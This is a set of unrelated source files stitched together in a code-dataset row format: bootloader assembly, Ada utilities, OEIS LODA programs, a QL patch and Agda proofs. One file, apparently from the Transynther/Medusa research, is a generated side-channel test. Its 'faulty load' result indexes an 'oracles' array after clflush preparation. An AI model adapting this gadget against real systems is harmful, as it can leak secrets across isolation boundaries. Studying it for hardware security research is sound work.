%define KERNEL_PMODE_LOC 0x100000
%define KERNEL_SMAP_LOC 0x7C00
jmp start
%include "simplefs.inc"
%include "memory.inc"
KERNEL_BOOT_HEADER:
kernelStartAddress: dd 0
kernelSize: dd 0
smapAddress: dd 0
gdt_data:
dd 0 ; null descriptor
dd 0
; gdt code: ; code descriptor
dw 0FFFFh ; limit low
dw 0 ; base low
db 0 ; base middle
db 10011010b ; access
db 11001111b ; granularity
db 0 ; base high
; gdt data: ; data descriptor
dw 0FFFFh ; limit low (Same as code)10:56 AM 7/8/2007
dw 0 ; base low
db 0 ; base middle
db 10010010b ; access
db 11001111b ; granularity
db 0 ; base high
end_of_gdt:
gdtr:
dw end_of_gdt - gdt_data - 1
dd gdt_data+0x7E00
VolumeLable: db ' '
Version: dw 0x0000
Disktype: db 0x00
ReservedSectors: db 0x00
SectorsPerFAT: db 0x00
RootDirSectors: db 0x00
RootEntries: dw 0x00
BytesPerSector: dw 0x000
Tracks: db 0x00
SectorsPerTrack: db 0x00
Heads: db 0x00
Formatted: db 0
KernelFileName: db 'kernel.sys '
KernelFileSize: dd 0
KernelSig: db 'PE'
KernelCodeSig: db '.text'
KernelRDataSig: db '.rdata'
KernelDataSig: db '.data'
KernelRelocationTalbleSig: db '.reloc'
msgLoadingKernel: db ' Loading kernel !', 0
msgStage2: db ' Stage 2 booted ', 0
numMemoryMapEntries: resw 0
print:
push ax
loopPrint:
lodsb
cmp al, 0
je donePrint
mov ah, 0x0E
int 0x10
jmp loopPrint
donePrint:
pop ax
ret
start:
xor ax, ax
mov ax, 0x7E0
mov gs, ax
mov fs, ax
xor cx, cx
mov cx, 0x10
xor esi, esi
pop si
xor di, di
mov di, VolumeLable
rep movsw
xor ax, ax
mov ax, 0x7E0
mov ds, ax
mov es, ax
mov si, msgStage2
call print
xor eax, eax
mov al, byte [SectorsPerFAT]
add al, byte [ReservedSectors]
call LBACHS
LoadRootDir:
xor eax, eax
mov ax, KERNEL_RMODE_LOC
mov es, ax
xor bx, bx
xor eax, eax
mov al, byte [RootDirSectors]
call readSectors
xor cx, cx
mov cx, word [RootEntries]
xor di, di
FindFile:
push cx
mov cx, 0xA
xor si, si
mov si, KernelFileName
push di
rep cmpsb
pop di
je .found
add di, 0x28
pop cx
loop FindFile
mov si, msgFailedToFindFile
call print
hlt
.found:
mov bx, di
add bx, 0x20
xor eax, eax
xor ecx, ecx
mov eax, dword [es:bx]
add bx, 0x04
mov ecx, dword [es:bx]
mov dword [kernelSize], eax
xor ebx, ebx
mov bx, word [BytesPerSector]
div ebx
cmp edx, 0
je LoadFile
inc eax
LoadFile:
mov si, msgLoadingKernel
call print
xchg eax, ecx
;eax Start sector
;ecx Number of sectors
xor bx, bx
loopLoadFile:
call LBACHS
mov al, 0x01
call readSectors
add bx, 0x1fe
mov ax, word [es:bx]
loop loopLoadFile
mov ax, KERNEL_SMAP_LOC
mov bx, 0x10
div bx
mov es, ax
call MapMemory
cli
xor ax, ax
in al, 0x92
or al, 0x02
out 0x92, al
cli
pusha
lgdt [gdtr]
popa
cli
mov eax, cr0
or eax, 0x01
mov cr0, eax
jmp 0x08:PMode+0x7E00
hlt
BITS 32
PMode:
xor ax, ax
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
mov esp, 0x90000
CopyKernel:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
mov eax, KERNEL_RMODE_LOC
mov ebx, 0x10
mul ebx
mov esi, eax
mov edi, KERNEL_PMODE_LOC
mov ecx, dword [kernelSize+0x7E00]
rep movsb
TestKernel:
mov ebx, [KERNEL_PMODE_LOC+0x3C]
add ebx, KERNEL_PMODE_LOC
mov edi, ebx
mov esi, KernelSig+0x7E00
cmpsw
jne BadKernel
Relocation:
push ebx
;Find the first relocation table
mov eax, ebx
.relocLoop:
inc eax
mov esi, eax
mov edi, KernelCodeSig+0x7E00
mov ecx, 0x05
rep cmpsb
jne .relocLoop
;code section
mov ebx, eax
mov esi, ebx
mov edi, KernelCodeSig+0x7E00
mov ecx, 0x05
rep cmpsb
jne BadKernel
call MoveSection
;rdata section
add ebx, 0x28
mov esi, ebx
mov edi, KernelRDataSig+0x7E00
mov ecx, 0x06
rep cmpsb
jne BadKernel
call MoveSection
;data section
add ebx, 0x28
mov esi, ebx
mov edi, KernelDataSig+0x7E00
mov ecx, 0x5
rep cmpsb
jne BadKernel
call MoveSection
;reloc section
add ebx, 0x28
mov esi, ebx
mov edi, KernelRelocationTalbleSig+0x7E00
mov ecx, 0x06
rep cmpsb
jne ExecuteKernel
call MoveSection
ExecuteKernel:
pop ebx
add ebx, 0x28
mov ebp, dword [ebx]
add ebx, 0xC
mov eax, dword [ebx]
add ebp, eax
mov dword [kernelStartAddress+0x7E00], KERNEL_PMODE_LOC
mov dword [smapAddress+0x7E00], KERNEL_SMAP_LOC
push KERNEL_BOOT_HEADER+0x7E00
call ebp
cli
hlt
BadKernel:
cli
hlt
MoveSection:
mov edi, dword [ebx+0x0C]
mov ecx, dword [ebx+0x10]
mov esi, dword [ebx+0x14]
add edi, KERNEL_PMODE_LOC
add esi, KERNEL_PMODE_LOC
rep movsb
ret
END:
|
robot.adb | evilspacepirate/robot | 0 | 25711 | <filename>robot.adb
-----------------------------------------------------------------
-- --
-- Robot Utility --
-- --
-- Copyright (c) 2017 <NAME> --
-- --
-- Permission to use, copy, modify, and/or distribute --
-- this software for any purpose with or without fee --
-- is hereby granted, provided that the above copyright --
-- notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR --
-- DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE --
-- INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY --
-- AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE --
-- FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL --
-- DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS --
-- OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF --
-- CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING --
-- OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF --
-- THIS SOFTWARE. --
-- --
-- Run a command when the time stamp on a set of files is --
-- changed. --
-- --
-- Example: --
-- --
-- robot "gcc hello_world.c" "*.c" --
-- --
-----------------------------------------------------------------
with Ada.Calendar; use Ada.Calendar;
with Ada.Command_Line; use Ada.Command_Line;
with Ada.Directories; use Ada.Directories;
with Ada.Strings.Unbounded; use Ada.Strings.Unbounded;
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Containers.Indefinite_Vectors; use Ada.Containers;
with Interfaces.C;
procedure Robot is
package US renames Ada.Strings.Unbounded;
RED_TEXT : constant String := Character'Val (16#1B#) & "[31m";
GREEN_TEXT : constant String := Character'Val (16#1B#) & "[32m";
NORMAL_TEXT : constant String := Character'Val (16#1B#) & "[39m";
CLEAR_TERM : constant String := Character'Val (16#1B#) & "c";
Search_Period : constant Duration := 0.25;
type Source_Record is record
Name : US.Unbounded_String;
Last_Modified : Time;
end record;
type Command_Type is (Clear_Screen, Run_Command, None);
package Source_Record_Vectors is new
Indefinite_Vectors (Natural, Source_Record);
use Source_Record_Vectors;
-----------------
-- Get_Command --
-----------------
function Get_Command
return Command_Type
is
Key : Character;
Available : Boolean;
begin
Get_Immediate (Key, Available);
if Available then
case Key is
when 'r' | 'R' =>
return Run_Command;
when 'c' | 'C' =>
return Clear_Screen;
when others =>
return None;
end case;
end if;
return None;
end Get_Command;
-----------------
-- Run_Command --
-----------------
procedure Run_Command
(Command : String)
is
use Interfaces.C;
function System (Arguments : Char_Array) return Integer;
pragma Import (C, System, "system");
begin
if System (To_C(Command)) = 0 then
Put_Line(GREEN_TEXT & "[SUCCESS]" & NORMAL_TEXT);
else
Put_Line(RED_TEXT & "[FAILED]" & NORMAL_TEXT);
end if;
end Run_Command;
----------
-- Walk --
----------
procedure Walk
(Name : in String;
Pattern : in String;
Output : in out Source_Record_Vectors.Vector)
is
procedure Add
(Item : Directory_Entry_Type)
is
Source : Source_Record;
begin
Source.Name := US.To_Unbounded_String (Full_Name (Item));
Source.Last_Modified := Modification_Time (Full_Name (Item));
Output.Append(Source);
end Add;
procedure Walk
(Item : Directory_Entry_Type)
is
begin
if Simple_Name (Item) /= "." and then Simple_Name (Item) /= ".." then
Walk (Full_Name (Item), Pattern, Output);
end if;
exception
when Ada.Directories.Name_Error => null;
end Walk;
begin
Search (Name, Pattern, (others => True), Add'Access);
Search (Name, "", (Directory => True, others => False), Walk'Access);
end Walk;
-------------------
-- Stamp_Sources --
-------------------
procedure Stamp_Sources
(Sources : in out Source_Record_Vectors.Vector)
is
begin
for I in Natural range 2 .. Argument_Count loop
Walk (".", Argument(I), Sources);
end loop;
end Stamp_Sources;
----------------
-- Put_Config --
----------------
procedure Put_Config is
begin
Put ("MONITORING: [");
for I in Natural range 2 .. Argument_Count loop
Put (Argument (I));
end loop;
Put ("] RUN ON MODIFY: [");
Put (Argument (1));
Put_Line ("]");
end Put_Config;
---------------------
-- Execute Command --
---------------------
procedure Execute_Command
(Command : Command_Type)
is
begin
case Command is
when Run_Command =>
Run_Command(Argument(1));
when Clear_Screen =>
Put(CLEAR_TERM);
Put_Config;
when None =>
null;
end case;
end Execute_Command;
Old_Fingerprint : Source_Record_Vectors.Vector;
New_Fingerprint : Source_Record_Vectors.Vector;
Command : Command_Type := None;
begin
if Argument_Count < 2 then
Put_Line ("Usage: robot <command> <file_pattern> [ .. <file_pattern> ]");
New_Line;
Put_Line ("Run time commands:");
Put_Line (" R-key : Run command");
Put_Line (" C-key : Clear terminal");
return;
end if;
Put_Config;
Stamp_Sources (New_Fingerprint);
loop
delay Search_Period;
Old_Fingerprint := New_Fingerprint;
New_Fingerprint.Clear;
Stamp_Sources (New_Fingerprint);
Command := Get_Command;
if New_Fingerprint /= Old_Fingerprint then
Command := Run_Command;
end if;
Execute_Command (Command);
end loop;
end Robot;
|
source/contexts/plain/program-node_symbols.ads | reznikmm/gela | 0 | 9219 | <reponame>reznikmm/gela<gh_stars>0
-- SPDX-FileCopyrightText: 2020 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Compilation_Units;
with Program.Elements.Defining_Names;
with Program.Elements.Expressions;
with Program.Elements;
with Program.Symbol_Lists;
with Program.Symbols;
package Program.Node_Symbols is
pragma Preelaborate;
function Get_Symbol (Name : access Program.Elements.Element'Class)
return Program.Symbols.Symbol;
-- Return a symbol for given direct name or defining name. Return symbol of
-- the selector for expanded [defining] name.
procedure Unit_Full_Name
(Self : in out Program.Symbol_Lists.Symbol_List_Table'Class;
Unit : not null Program.Compilation_Units.Compilation_Unit_Access;
Name : out Program.Symbol_Lists.Symbol_List);
-- Return unit full name as a symbol list
procedure Defining_Name_Symbol
(Self : in out Program.Symbol_Lists.Symbol_List_Table'Class;
Element : not null Program.Elements.Defining_Names.Defining_Name_Access;
Result : out Program.Symbol_Lists.Symbol_List);
procedure Name_Symbol
(Self : in out Program.Symbol_Lists.Symbol_List_Table'Class;
Element : not null Program.Elements.Expressions.Expression_Access;
Result : out Program.Symbol_Lists.Symbol_List);
end Program.Node_Symbols;
|
libsrc/target/rx78/stdio/fputc_cons_native.asm | jpoikela/z88dk | 640 | 12234 | <filename>libsrc/target/rx78/stdio/fputc_cons_native.asm
SECTION code_clib
PUBLIC fputc_cons_native
fputc_cons_native:
ld hl,2
add hl,sp
ld a,(hl)
cp 10
jr nz,not_lf
ld a,13
not_lf:
call 0x07a0
ret
|
oeis/178/A178969.asm | neoneye/loda-programs | 11 | 168647 | ; A178969: Last nonzero decimal digit of (10^10^n)!
; Submitted by <NAME>(s2)
; 8,2,6,4,2,2,6,2,6,4
mov $1,2
mov $2,-8
mov $3,-2
add $3,$0
mul $0,4
sub $1,$3
add $1,3
bin $2,$0
mul $2,$1
div $2,2
mov $0,$2
mul $0,32
add $0,2
mod $0,10
add $0,10
mod $0,10
|
oeis/197/A197424.asm | neoneye/loda-programs | 11 | 164748 | ; A197424: Number of subsets of {1, 2, ..., 4*n + 2} which do not contain two numbers whose difference is 4.
; 4,36,225,1600,10816,74529,509796,3496900,23961025,164249856,1125736704,7716041281,52886200900,362488284900,2484529385121,17029223715904,116720020119616,800010960336225,5483356589096100,37583485459535236,257601040852192129,1765623802535986176,12101765571584640000,82946735212471530625,568525380879286035076,3896730931037905796004,26708591136136359332961,183063407022570320065600,1254735258020144444737600,8600083399122921391732641,58945848535828574937874404,404020856351707813653302596
add $0,2
seq $0,2878 ; Bisection of Lucas sequence: a(n) = L(2*n+1).
mul $0,6
div $0,15
add $0,1
mov $1,$0
div $1,2
pow $1,2
mov $0,$1
|
sys/gold/sgcp3.asm | olifink/smsqe | 0 | 20039 | <reponame>olifink/smsqe
; (Super)GoldCard patches. Deciphered by <NAME>
section sgc
xdef gl_f1f2
xdef gl_bvchnt
include 'dev8_sys_gold_keys'
include 'dev8_keys_qdos_io'
include 'dev8_keys_sbasic'
include 'dev8_keys_sys'
; F1/F2 auto boot
gl_f1f2
moveq #-1,d3
moveq #$ffffffe8,d1 ; F1
cmpi.w #sgo.autoh,sgo_f1f2+sgx_work ; reserved for HIRES setting
beq.s gl_f1f2_end
cmpi.w #sgo.auto1,sgo_f1f2+sgx_work
beq.s gl_f1f2_end
moveq #$ffffffec,d1 ; F2
cmpi.w #sgo.auto2,sgo_f1f2+sgx_work
beq.s gl_f1f2_end
moveq #iob.fbyt,d0 ; No auto F1/F2, read key
trap #$3
gl_f1f2_end
moveq #$0,d0
rts
; Some name table fix (reserve additional space)
gl_bvchnt
movem.l d1/d2/d3,-(sp)
jsr $12345678 ; will be patched to bv_chnt
movem.l (sp)+,d1/d2/d3
move.l sb_nmtbp(a6),a3 ; code that was overwritten by patch
move.b #nt.var,nt_nvalp(a6,a3.l)
rts
end
|
regtests/expect/ada/bundle.adb | stcarrez/resource-embedder | 7 | 7515 | -- Advanced Resource Embedder 1.2.0
with Interfaces; use Interfaces;
package body Bundle is
function Hash (S : String) return Natural;
P : constant array (0 .. 1) of Natural :=
(1, 4);
T1 : constant array (0 .. 1) of Unsigned_8 :=
(0, 4);
T2 : constant array (0 .. 1) of Unsigned_8 :=
(1, 3);
G : constant array (0 .. 5) of Unsigned_8 :=
(0, 0, 0, 0, 1, 0);
function Hash (S : String) return Natural is
F : constant Natural := S'First - 1;
L : constant Natural := S'Length;
F1, F2 : Natural := 0;
J : Natural;
begin
for K in P'Range loop
exit when L < P (K);
J := Character'Pos (S (P (K) + F));
F1 := (F1 + Natural (T1 (K)) * J) mod 6;
F2 := (F2 + Natural (T2 (K)) * J) mod 6;
end loop;
return (Natural (G (F1)) + Natural (G (F2))) mod 2;
end Hash;
C_0 : aliased constant Ada.Streams.Stream_Element_Array :=
(109, 115, 103, 95, 100, 101, 115, 99, 114, 105, 112, 116, 105, 111, 110, 61, 80, 114, 111, 100, 117,
99, 116, 32, 100, 101, 115, 99, 114, 105, 112, 116, 105, 111, 110, 10, 109, 115, 103, 95, 116,
105, 116, 108, 101, 61, 84, 105, 116, 108, 101, 10);
C_1 : aliased constant Ada.Streams.Stream_Element_Array :=
(109, 115, 103, 95, 100, 101, 115, 99, 114, 105, 112, 116, 105, 111, 110, 61, 68, 101, 115, 99, 114,
105, 112, 116, 105, 111, 110, 32, 112, 114, 111, 100, 117, 105, 116, 10, 109, 115, 103, 95, 116,
105, 116, 108, 101, 61, 84, 105, 116, 114, 101, 10);
type Name_Access is access constant String;
type Name_Array is array (Natural range <>) of Name_Access;
K_0 : aliased constant String := "msg";
K_1 : aliased constant String := "msg_fr";
Names : constant Name_Array := (
K_0'Access, K_1'Access);
type Content_List_Array is array (Natural range <>) of Content_Access;
Contents : constant Content_List_Array := (
C_0'Access, C_1'Access);
function Get_Content (Name : String) return Content_Access is
H : constant Natural := Hash (Name);
begin
return (if Names (H).all = Name then Contents (H) else null);
end Get_Content;
end Bundle;
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1623.asm | ljhsiun2/medusa | 9 | 243082 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xaaa0, %rsi
lea addresses_WT_ht+0xe860, %rdi
clflush (%rdi)
nop
nop
nop
sub %r11, %r11
mov $46, %rcx
rep movsq
nop
nop
nop
nop
xor %r15, %r15
lea addresses_normal_ht+0xb3ff, %rbp
nop
nop
nop
nop
and %r9, %r9
movb (%rbp), %r15b
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_UC_ht+0x68a8, %r9
add $19351, %r11
mov $0x6162636465666768, %r15
movq %r15, (%r9)
sub $49123, %rsi
lea addresses_WC_ht+0x10ea0, %rsi
clflush (%rsi)
nop
nop
nop
inc %rdi
mov (%rsi), %bp
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_WT_ht+0x57a0, %rsi
lea addresses_WC_ht+0x10610, %rdi
clflush (%rdi)
dec %r12
mov $125, %rcx
rep movsq
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_A_ht+0x19aa0, %rdi
nop
nop
nop
nop
sub $8905, %rcx
mov $0x6162636465666768, %r15
movq %r15, (%rdi)
nop
nop
inc %r11
lea addresses_D_ht+0xeca0, %rcx
nop
cmp %rsi, %rsi
mov $0x6162636465666768, %r12
movq %r12, (%rcx)
nop
nop
nop
nop
xor %r12, %r12
lea addresses_UC_ht+0xfd89, %r12
nop
nop
and %rbp, %rbp
mov (%r12), %si
nop
nop
nop
nop
nop
cmp %r12, %r12
lea addresses_A_ht+0x13aa0, %rsi
lea addresses_normal_ht+0x90a0, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
add %r9, %r9
mov $87, %rcx
rep movsb
dec %rbp
lea addresses_WC_ht+0x196a0, %rsi
lea addresses_UC_ht+0x17aa0, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
add $54105, %rbp
mov $57, %rcx
rep movsq
sub $27376, %r12
lea addresses_A_ht+0x15aa0, %r11
nop
nop
nop
nop
nop
add $41922, %r12
movb (%r11), %r9b
nop
nop
nop
nop
sub %r11, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_RW+0x148a0, %rsi
nop
nop
nop
nop
nop
add %r15, %r15
movl $0x51525354, (%rsi)
nop
nop
nop
and $57963, %rsi
// Store
lea addresses_A+0x15899, %rsi
nop
inc %rbp
movw $0x5152, (%rsi)
nop
nop
nop
inc %rdx
// Faulty Load
lea addresses_D+0x142a0, %rcx
nop
nop
xor $34504, %rdx
movups (%rcx), %xmm4
vpextrq $0, %xmm4, %rsi
lea oracles, %rbp
and $0xff, %rsi
shlq $12, %rsi
mov (%rbp,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
oeis/024/A024493.asm | neoneye/loda-programs | 11 | 104245 | ; A024493: a(n) = C(n,0) + C(n,3) + ... + C(n,3[n/3]).
; Submitted by <NAME>
; 1,1,1,2,5,11,22,43,85,170,341,683,1366,2731,5461,10922,21845,43691,87382,174763,349525,699050,1398101,2796203,5592406,11184811,22369621,44739242,89478485,178956971,357913942,715827883,1431655765,2863311530,5726623061,11453246123,22906492246,45812984491,91625968981,183251937962,366503875925,733007751851,1466015503702,2932031007403,5864062014805,11728124029610,23456248059221,46912496118443,93824992236886,187649984473771,375299968947541,750599937895082,1501199875790165,3002399751580331
mov $2,1
lpb $0
sub $0,1
add $3,$1
mov $4,$2
add $2,$1
mov $1,$3
add $5,$4
mov $3,$5
lpe
mov $0,$2
|
source/asis/spec/ada-finalization.ads | faelys/gela-asis | 4 | 16775 | ------------------------------------------------------------------------------
-- A d a r u n - t i m e s p e c i f i c a t i o n --
-- ASIS implementation for Gela project, a portable Ada compiler --
-- http://gela.ada-ru.org --
-- - - - - - - - - - - - - - - - --
-- Read copyright and license at the end of ada.ads file --
------------------------------------------------------------------------------
-- $Revision: 209 $ $Date: 2013-11-30 21:03:24 +0200 (Сб., 30 нояб. 2013) $
package Ada.Finalization is
pragma Preelaborate (Finalization);
pragma Remote_Types (Finalization);
type Controlled is abstract tagged private;
pragma Preelaborable_Initialization (Controlled);
procedure Initialize (Object : in out Controlled) is null;
procedure Adjust (Object : in out Controlled) is null;
procedure Finalize (Object : in out Controlled) is null;
type Limited_Controlled is abstract tagged limited private;
pragma Preelaborable_Initialization (Limited_Controlled);
procedure Initialize (Object : in out Limited_Controlled) is null;
procedure Finalize (Object : in out Limited_Controlled) is null;
private
pragma Import (Ada, Controlled);
pragma Import (Ada, Limited_Controlled);
end Ada.Finalization;
|
src/Partiality-monad/Inductive/Monad/Adjunction.agda | nad/partiality-monad | 2 | 15096 | ------------------------------------------------------------------------
-- The partiality monad's monad instance, defined via an adjunction
------------------------------------------------------------------------
{-# OPTIONS --cubical --safe #-}
module Partiality-monad.Inductive.Monad.Adjunction where
open import Equality.Propositional.Cubical
open import Logical-equivalence using (_⇔_)
open import Prelude hiding (T; ⊥)
open import Adjunction equality-with-J
open import Bijection equality-with-J using (_↔_)
open import Category equality-with-J
open import Function-universe equality-with-J hiding (id; _∘_)
open import Functor equality-with-J
open import H-level equality-with-J
open import H-level.Closure equality-with-J
open import Partiality-algebra as PA hiding (id; _∘_)
open import Partiality-algebra.Category as PAC
import Partiality-algebra.Properties as PAP
open import Partiality-monad.Inductive as PI
using (_⊥; partiality-algebra; initial)
open import Partiality-monad.Inductive.Eliminators
import Partiality-monad.Inductive.Monad as PM
import Partiality-monad.Inductive.Omega-continuous as PO
-- A forgetful functor from partiality algebras to sets.
Forget : ∀ {a p q} {A : Type a} →
PAC.precategory p q A ⇨ precategory-Set p ext
functor Forget =
(λ P → T P , T-is-set P)
, Morphism.function
, refl
, refl
where
open Partiality-algebra
-- The precategory of pointed ω-cpos.
ω-CPPO : ∀ p q → Precategory (lsuc (p ⊔ q)) (p ⊔ q)
ω-CPPO p q = PAC.precategory p q ⊥₀
-- Pointed ω-cpos.
ω-cppo : ∀ p q → Type (lsuc (p ⊔ q))
ω-cppo p q = Partiality-algebra p q ⊥₀
-- If there is a function from B to the carrier of P, then P
-- can be converted to a partiality algebra over B.
convert : ∀ {a b p q} {A : Type a} {B : Type b} →
(P : Partiality-algebra p q A) →
(B → Partiality-algebra.T P) →
Partiality-algebra p q B
convert P f = record
{ T = T
; partiality-algebra-with = record
{ _⊑_ = _⊑_
; never = never
; now = f
; ⨆ = ⨆
; antisymmetry = antisymmetry
; T-is-set-unused = T-is-set-unused
; ⊑-refl = ⊑-refl
; ⊑-trans = ⊑-trans
; never⊑ = never⊑
; upper-bound = upper-bound
; least-upper-bound = least-upper-bound
; ⊑-propositional = ⊑-propositional
}
}
where
open Partiality-algebra P
-- A lemma that removes convert from certain types.
drop-convert :
∀ {a p q p′ q′} {A : Type a} {X : ω-cppo p q} {Y : ω-cppo p′ q′}
{f : A → _} {g : A → _} →
Morphism (convert X f) (convert Y g) → Morphism X Y
drop-convert m = record
{ function = function
; monotone = monotone
; strict = strict
